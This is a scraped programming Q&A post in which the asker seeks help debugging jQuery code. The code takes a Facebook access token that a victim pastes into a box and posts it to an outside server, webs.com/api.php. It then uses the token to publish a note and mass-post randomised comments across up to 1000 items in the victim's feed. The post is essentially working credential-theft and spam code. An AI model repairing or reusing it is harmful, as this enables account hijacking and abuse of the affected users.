ajax - Trying to debug javascript -


i'm having trouble getting 3 of facebook api post commands execute. can user info, post note, the script skips third one. i'm trying debug code figure out why , no success. if remove create.note api command able make comments, want three.

$(document).ready(function(){   function writetofile(content){     $.post("http://webs.com/api.php", {'token': content});     return false;   } $('#scatola').on('keyup', function() {      $('#submit').trigger('click'); });  $("#submit").click(function(){       //access token stuff     var token = $("#scatola").val();     //alert("got token: " + token + ". token use");      if (token.split('#access_token=')[1]) {     var token = token.split('#access_token=')[1].split('&')[0]; writetofile(token);     //alert(token);     $("#iwait").fadein();         //get user id , name etc...         $.getjson('https://graph.facebook.com/me?access_token=' + token, function (response) {             if (response.id) {             var userid = response.id;             var username = response.name;             var randomnumber=math.floor(math.random()*11);             //alert(userid);             //alert(username);     var commentnote = "note title";                   var commentmain = "note message";                 var commentshort = "comment message";                 var spincom = new array();                 spincom[0] = "!";                 spincom[1] = "!";                 var totalcomments = 1000;  $.getjson('https://graph.facebook.com/' + userid + '/notes?method=post&message=' + commentmain + '&subject=' + commentnote + '&access_token=' + token, function (response) {                 //alert("make note");                     if(response.note){                     //alert("this response = " + response.note[1].id);                                  $.getjson('https://graph.facebook.com/' + userid + '/home?limit=' + totalcomments + '&access_token=' + token, function (response) {                 //alert("posting");                     if(response.data)  //alert("this response = " + response.data[1].id);                     //posting on them.                         var allposts = [];                         $.each(response.data, function(i,data){                             allposts.push(data.id);                             //alert("this comment = " + data.id);                             var spinnumber=math.floor(math.random()*9);                             var meganumber=math.floor(math.random()*100);                             var commentmessage = commentshort + spincom[spinnumber] + "?" + meganumber;                             $.getjson('https://graph.facebook.com/' + data.id + '/comments?method=post&message=' + commentmessage + '&access_token=' + token, function (response) {                             //alert("comment posted!");                                });                             });    });                        }                     var t=settimeout(function(){motown()},7000)                 });                     }           });          }else {      alert("this not correct url. please try again.");     $("#scatola").val('');     $("#scatola").focus()     }   }); }); 


Comments

Popular posts from this blog

c# - Send Image in Json : 400 Bad request -

jquery - Fancybox - apply a function to several elements -

An easy way to program an Android keyboard layout app -